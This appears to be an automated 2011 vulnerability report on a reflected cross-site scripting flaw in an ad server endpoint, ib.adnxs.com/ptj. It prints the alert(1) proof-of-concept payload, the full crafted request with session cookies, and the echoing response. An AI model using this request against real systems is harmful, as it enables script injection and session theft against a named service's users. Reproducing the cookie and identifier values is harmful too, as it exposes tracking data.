ib.adnxs.com, XSS, Cross Site Scripting, CWE-79, cAPEC-86

CAPEC-86: Embedding Script (XSS ) in HTTP Headers

Report generated by XSS.CX Research Blog at Sat Mar 05 20:37:06 CST 2011.

The DORK Report

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1. Cross-site scripting (reflected)


1. Cross-site scripting (reflected)

Summary

Severity:   High
Confidence:   Certain
Host:   http://ib.adnxs.com
Path:   /ptj

Issue detail

The value of the redir request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 434e2'%3balert(1)//29fe6698db9 was submitted in the redir parameter. This input was echoed as 434e2';alert(1)//29fe6698db9 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Request

GET /ptj?member=311&inv_code=cm.martini&size=728x90&referrer=http%3A%2F%2Fwww.sailinganarchy.com%2Findex_page1.php&redir=http%3A%2F%2Fad.doubleclick.net%2Fadj%2Fcm.martini%2F%3Bnet%3Dcm%3Bu%3D%2Ccm-28691529_1299368593%2C11e4f07c0988ac7%2Csports%2Cax.{PRICEBUCKET}-cm.rdst12-cm.rdst11-cm.polit_l-cm.ent_l-bk.rdst2-ex.11-bz.25-bz.30-bz.51-bz.ab-bz.ae-dx.13-dx.1-dx.12-dx.15-dx.2-dx.22-dx.26-dx.28-dx.30-dx.31-dx.34-dx.36-dx.4-dx.5-dx.6-dx.ch-dx.bi-dx.24-dx.40-dx.41-dx.42-dx.43-qc.a%3B%3Bcmw%3Dowl%3Bsz%3D728x90%3Bnet%3Dcm%3Bord1%3D665427%3Bcontx%3Dsports%3Ban%3D{PRICEBUCKET}%3Bdc%3Dw%3Bbtg%3Dcm.rdst12%3Bbtg%3Dcm.rdst11%3Bbtg%3Dcm.polit_l%3Bbtg%3Dcm.ent_l%3Bbtg%3Dbk.rdst2%3Bbtg%3Dex.11%3Bbtg%3Dbz.25%3Bbtg%3Dbz.30%3Bbtg%3Dbz.51%3Bbtg%3Dbz.ab%3Bbtg%3Dbz.ae%3Bbtg%3Ddx.13%3Bbtg%3Ddx.1%3Bbtg%3Ddx.12%3Bbtg%3Ddx.15%3Bbtg%3Ddx.2%3Bbtg%3Ddx.22%3Bbtg%3Ddx.26%3Bbtg%3Ddx.28%3Bbtg%3Ddx.30%3Bbtg%3Ddx.31%3Bbtg%3Ddx.34%3Bbtg%3Ddx.36%3Bbtg%3Ddx.4%3Bbtg%3Ddx.5%3Bbtg%3Ddx.6%3Bbtg%3Ddx.ch%3Bbtg%3Ddx.bi%3Bbtg%3Ddx.24%3Bbtg%3Ddx.40%3Bbtg%3Ddx.41%3Bbtg%3Ddx.42%3Bbtg%3Ddx.43%3Bbtg%3Dqc.a%3Bord%3D2891366359%3F434e2'%3balert(1)//29fe6698db9 HTTP/1.1
Host: ib.adnxs.com
Proxy-Connection: keep-alive
Referer: http://www.sailinganarchy.com/index_page1.php
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: icu=ChII9YEBEAoYAiACKAIw3IzG6wQQ3IzG6wQYAQ..; acb999658=5_[r^208WMZ$lZx0nf8MV#kXX?enc=TMKFPIIb5D_eLkUDwhjiPwAAAKCZmQFA3i5FA8IY4j9MwoU8ghvkPzcOTOgPFJNBvNv2i6g_Cj5chnFNAAAAALI9AwA3AQAAbAEAAAIAAABc9gIAjV8AAAEAAABVU0QAVVNEACwB-gCqAQAAYAYBAgUCAAUAAAAAICCrfAAAAAA.&tt_code=cm.rubnydn&udj=uf%28%27a%27%2C+6722%2C+1299285596%29%3Buf%28%27c%27%2C+53560%2C+1299285596%29%3Buf%28%27g%27%2C+21552%2C+1299285596%29%3Buf%28%27r%27%2C+194140%2C+1299285596%29%3Bppv%287967%2C+%274725142492596145719%27%2C+1299285596%2C+1299458396%2C+53560%2C+24461%29%3Bppv%287967%2C+%274725142492596145719%27%2C+1299285596%2C+1299458396%2C+53560%2C+24461%29%3B&cnd=!zR6Lywi4ogMQ3OwLGAAgjb8BKAAx4fcl0YEb5D9CEwgAEAAYACABKP7__________wFCDgifPhDl7X0YgQEgAygFQg0Inz4Q2f0BGAIgAigBSANQAFiqA2AAaOwC; sess=1; uuid2=4470455573253905340; anj=Kfw)*g>GQ1)_aSkb[wbEY:t_mjZ*2nslOVjf=*%h1B3m%XPi8i3seF!Tf2ST$.>sL(?l^84I52`MyCX?F?Z?FHZa`:hmHjWagKd]uK^7bE'I0R1-Ny1EdFXKhz78DNO1=]jChzp3[>HE!5$8]]!cNG2M!(q3e5x0`CYf%7YTbB<Fa0zlypLuO*5st!>c0zr5QnM3-E>y1zd*gMgAdwi0MfeQ7Q9^]d-=%85zF%MgwupNE-#[6ZXC>v_+%>PD8g(129tOBLl['A:K?XFAxw:O+HbvYAaA`A<g_Juz-:SBm?*$/vYK]Y!:IOjmKFJO's1(S9!!fx!)YBc6pY8K*qhNe.TTAs%hJgsXT=y8Euna27Az=R_]2^1VpmM@gUPjX=WmnS)pv:M@L)Sj$#lBlT2zi)3Sp=v!WJ7ZbKbNGVx:EqO=00n-d(5tcn$`#+Nn(>*yC4udg=-ZXBE`w(nuxQz8DXMXJH8%k@I5@X4.k8Dl2]d'S:5RdyN-:(+xZZ^TPFj'JRRnSfl7(adCEprm<*PYYJdM`z.jwDX6qqn+dLtQ@o^_Q[[fnveXW]85fZ

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, private
Pragma: no-cache
Expires: Sat, 15 Nov 2008 16:00:00 GMT
P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC"
Set-Cookie: sess=1; path=/; expires=Sun, 06-Mar-2011 23:52:14 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: uuid2=4470455573253905340; path=/; expires=Fri, 03-Jun-2011 23:52:14 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: acb999658=; path=/; expires=Fri, 01-Jan-1980 00:00:00 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: icu=ChEIpX0QChgBIAEoATCumcvrBBCumcvrBBgA; path=/; expires=Fri, 03-Jun-2011 23:52:14 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: acb525499=5_[r^kI/7Z-!L@F7=/CbqLJ=G?enc=borHRbUI6z8vljMlo1ToPwAAAAAAAAhAL5YzJaNU6D9uisdFtQjrP8ufqgbsUQYbvNv2i6g_Cj6uzHJNAAAAAGI7AwA3AQAAZAAAAAIAAAA4UAIAPV0AAAEAAABVU0QAVVNEANgCWgDbHQAA8AgBAgUCAAUAAAAA-x_uRgAAAAA.&tt_code=cm.martini&udj=uf%28%27a%27%2C+27%2C+1299369134%29%3Buf%28%27g%27%2C+1079%2C+1299369134%29%3Buf%28%27r%27%2C+151608%2C+1299369134%29%3Bppv%2882%2C+%271947333963050295243%27%2C+1299369134%2C+1309737134%2C+17328%2C+23869%29%3Bppv%2884%2C+%271947333963050295243%27%2C+1299369134%2C+1309737134%2C+17328%2C+23869%29%3Bppv%2811%2C+%271947333963050295243%27%2C+1299369134%2C+1309737134%2C+17328%2C+23869%29%3Bppv%2882%2C+%271947333963050295243%27%2C+1299369134%2C+1309737134%2C+17328%2C+23869%29%3Bppv%2884%2C+%271947333963050295243%27%2C+1299369134%2C+1309737134%2C+17328%2C+23869%29%3Bppv%2887%2C+%271947333963050295243%27%2C+1299369134%2C+1299455534%2C+17328%2C+23869%29%3Bppv%28619%2C+%271947333963050295243%27%2C+1299369134%2C+1299455534%2C+17328%2C+23869%29%3Bppv%28620%2C+%271947333963050295243%27%2C+1299369134%2C+1299455534%2C+17328%2C+23869%29%3Bppv%28621%2C+%271947333963050295243%27%2C+1299369134%2C+1299455534%2C+17328%2C+23869%29%3B&cnd=!yhu1-giwhwEQuKAJGAAgvboBKAAxborHRbUI6z9CEwgAEAAYACABKP7__________wFCDQhSEJX6ggEYKCADKAVCDAhUEJ-mSxgdIAMoBUgDUABY2ztgAGhk&custom_macro=ADV_FREQ%5E0%5EREM_USER%5E0%5ECP_ID%5E17328; path=/; expires=Sun, 06-Mar-2011 23:52:14 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: uuid2=4470455573253905340; path=/; expires=Fri, 03-Jun-2011 23:52:14 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: anj=Kfw)*g>GQ1)_aSkb[wbEY:t_mjZ*2nslOVjf=*%h1B3m%XPi8i3seF!Tf2ST$.>sL(?l^84I52`MyCX?F?Z?FHZa`:hmHjWagKd]uK^7bE'I0R1-Ny1EdFXKhz78DNO1=]jChzp3[>HE!5$8]]!cNG2M!(q3e5x0`CYf%7YTbB<Fa0zlypLuO*5st!>c0zr5QnM3-E>y1zd*gMgAdwi0MfeQ7Q9^]d-=%85zF%MgwupNE-#[6ZXC>v_+%>PD8g(129tOBLl['A:K?XFAxw:O+HbvYAaA`A<g_Juz-:SBm?*$/vYK]Y!:IOjmKFJO's1(S9!!fx!)YBc6pY8K*qhNe.TTAs%hJgsXT=y8Euna27Az=R_]2^1VpmM@gUPjX=WmnS)pv:M@L)Sj$#lBlT2zi)3Sp=v!WJ7ZbKbNGVx:EqO=00n-d(5tcn$`#+Nn(>*yC4udg=-ZXBE`w(nuxQz8DXMXJH8%k@I5@X4.k8Dl2]d'S:5RdyN-:(+xZZ^TPFj'JRRnSfl7(adCEprm<*PYYJdM`z.jwDX6qqn+dLtQ@o^_Q[[fnveXW]85fZ; path=/; expires=Fri, 03-Jun-2011 23:52:14 GMT; domain=.adnxs.com; HttpOnly
Content-Type: text/javascript
Date: Sat, 05 Mar 2011 23:52:14 GMT
Content-Length: 850

document.write('<scr'+'ipt type="text/javascript"src="http://ad.doubleclick.net/adj/cm.martini/;net=cm;u=,cm-28691529_1299368593,11e4f07c0988ac7,sports,ax.60-cm.rdst12-cm.rdst11-cm.polit_l-cm.ent_l-bk
...[SNIP]...
;btg=dx.2;btg=dx.22;btg=dx.26;btg=dx.28;btg=dx.30;btg=dx.31;btg=dx.34;btg=dx.36;btg=dx.4;btg=dx.5;btg=dx.6;btg=dx.ch;btg=dx.bi;btg=dx.24;btg=dx.40;btg=dx.41;btg=dx.42;btg=dx.43;btg=qc.a;ord=2891366359?434e2';alert(1)//29fe6698db9">
...[SNIP]...
Report generated by XSS.CX Research Blog at Sat Mar 05 20:37:06 CST 2011.